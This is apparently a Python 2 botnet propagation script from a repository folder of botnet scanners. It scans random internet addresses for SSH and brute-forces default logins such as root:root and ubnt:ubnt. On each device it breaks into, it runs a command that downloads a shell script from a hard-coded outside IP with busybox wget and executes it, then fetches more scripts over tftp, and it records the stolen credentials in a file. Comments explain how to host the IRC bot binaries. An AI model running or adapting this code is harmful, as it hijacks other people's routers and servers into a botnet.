Path: blob/master/Botnets/Scanning/AUTOSCANNER/Seb.py
5038 views
#!/usr/bin/env python1#2#-Put the files in your htdocs directory of a server to host them named something sensible like kaiten-*, wildcard in place of the architecture name.3# Set some stuff on your servers so you don't get capped at 476 open SSH connections.4#-ulimit -n 999995#-sysctl -w fs.file-max=1000006# Run heavyhidra7#-python infect.py 376 LUCKY x 08#-python infect.py 376 B 113.53 191011import threading, paramiko, random, socket, time, sys1213paramiko.util.log_to_file("/dev/null") #Prevents paramiko error spam.1415files = [ #Files in which we would like to execute upon the routers.16"gtop.sh",171819]2021website = "208.67.1.182" #Public facing IP hosting the IRC bot binaries.2223reservedips = [ #Majestic list of reserved IP's we have no reason to scan. Actually quite dull.24'http://127.',25'http://0',26'http://10.',27'http://100.64',28'http://100.65',29'http://100.66',30'http://100.67',31'http://100.68',32'http://100.69',33'http://100.70',34'http://100.71',35'http://100.72',36'http://100.73',37'http://100.74',38'http://100.75',39'http://100.76',40'http://100.77',41'http://100.78',42'http://100.79',43'http://100.80',44'http://100.81',45'http://100.82',46'http://100.83',47'http://100.84',48'http://100.85',49'http://100.86',50'http://100.87',51'http://100.88',52'http://100.89',53'http://100.90',54'http://100.91',55'http://100.92',56'http://100.93',57'http://100.94',58'http://100.95',59'http://100.96',60'http://100.97',61'http://100.98',62'http://100.99',63'http://100.100',64'http://100.101',65'http://100.102',66'http://100.103',67'http://100.104',68'http://100.105',69'http://100.106',70'http://100.107',71'http://100.108',72'http://100.109',73'http://100.110',74'http://100.111',75'http://100.112',76'http://100.113',77'http://100.114',78'http://100.115',79'http://100.116',80'http://100.117',81'http://100.118',82'http://100.119',83'http://100.120',84'http://100.121',85'http://100.122',86'http://100.123',87'http://100.124',88'http://100.125',89'http://100.126',90'http://100.127',91'http://169.254',92'http://172.16.',93'http://172.17.',94'http://172.18.',95'http://172.19.',96'http://172.20.',97'http://172.21.',98'http://172.22.',99'http://172.23.',100'http://172.24.',101'http://172.25.',102'http://172.26.',103'http://172.27.',104'http://172.28.',105'http://172.29.',106'http://172.30.',107'http://172.32.',108'http://192.0.0.0',109'http://192.0.0.1',110'http://192.0.0.2',111'http://192.0.0.3',112'http://192.0.0.4',113'http://192.0.0.5',114'http://192.0.0.6',115'http://192.0.0.7',116'http://192.0.2.',117'http://192.88.99.',118'http://192.168.',119'http://198.18.',120'http://198.19.',121'http://198.51.100.',122'http://203.0.113.',123'http://224.',124'http://225'125]126lucky = ["37.237","37.238","37.239","37.236","191.53","186.208","191.53","186.208","1.0","177.137","177.38","101.108","125.27","177.44","179.189","179.97"]127passwords = [ #Some default SSH logins.128"root:root",129"root:admin",130"admin:admin",131"ubnt:ubnt",132"root:password",133"root:toor"134]135136print sys.argv[0]+' Threads[max 376] A/B/C(ip class) /RAND IPHERE(1/1.1/1.1.1) 0/1 (password list, root:root) (doesn\'t scan recursively)' #Lack of basic system arguments/coded two years ago. Don't hate.137138if sys.argv[4] == '1':139passwords = [ "admin:1234", "root:root", "root:password", "root:12356", "admin:admin" ] #Faster exploitation with somewhat less results.140141if sys.argv[4] == 'K':142passwords = [ "root:test", "root:root" ]143144ipclassinfo = sys.argv[2]145if ipclassinfo == "A":146ip1 = sys.argv[3]147elif ipclassinfo == "B":148ip1 = sys.argv[3].split(".")[0]149ip2 = sys.argv[3].split(".")[1]150elif ipclassinfo == "C":151ips = sys.argv[3].split(".")152num=0153for ip in ips:154num=num+1155if num == 1:156ip1 = ip157elif num == 2:158ip2 = ip159elif num == 3:160ip3 = ip161class sshscanner(threading.Thread):162global passwords163global ipclassinfo164if ipclassinfo == "A":165global ip1166elif ipclassinfo == "B":167global ip1168global ip2169elif ipclassinfo == "C":170global ip1171global ip2172global ip3173def run(self):174while 1:175try:176while 1:177thisipisbad='no'178if ipclassinfo == "A":179self.host = 'http://'+ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))180elif ipclassinfo == "B":181self.host = 'http://'+ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))182elif ipclassinfo == "C":183self.host = 'http://'+ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))184elif ipclassinfo == "LUCKY":185self.host = 'http://'+random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))186else:187self.host = 'http://'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))188for badip in reservedips:189if badip in self.host:190thisipisbad='yes'191if thisipisbad=='no':192break193self.host=self.host.replace('http://', '') #This could be optimized. This is bad code. No idea why I did it like this.194username='root'195password="0"196port = 22197s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)198s.settimeout(3)199s.connect((self.host, port))200s.close()201ssh = paramiko.SSHClient()202ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())203dobreak=False204for passwd in passwords:205if ":n/a" in passwd:206password=""207else:208password=passwd.split(":")[1]209if "n/a:" in passwd:210username=""211else:212username=passwd.split(":")[0]213try:214ssh.connect(self.host, port = port, username=username, password=password, timeout=3)215dobreak=True216break217except:218pass219if True == dobreak:220break221badserver=True222stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")223output = stdout.read()224if "inet addr" in output:225badserver=False226websites = [ ]227if badserver == False:228print '\x1b[31mInfected:'+username+'<'+password+'>'+self.host+'|'+str(port)229ssh.exec_command("cd /tmp; rm -rf *;busybox wget -q http://208.67.1.182/gtop.sh; chmod +x gtop.sh; sh gtop.sh; rm -rf *; busybox tftp -r tftp.sh -g ; sh tftp.sh; busybox tftp -c get tftp2.sh; sh tftp2.sh\r\n")230infectedip = open("rooted.txt","a").write(username+":"+password+":"+self.host+"\n")231time.sleep(30)232ssh.close()233except:234pass235236for x in range(0,int(sys.argv[1])): #This may abuse your system resources and anger network administrators.237try:238t = sshscanner()239t.start()240except:241pass242243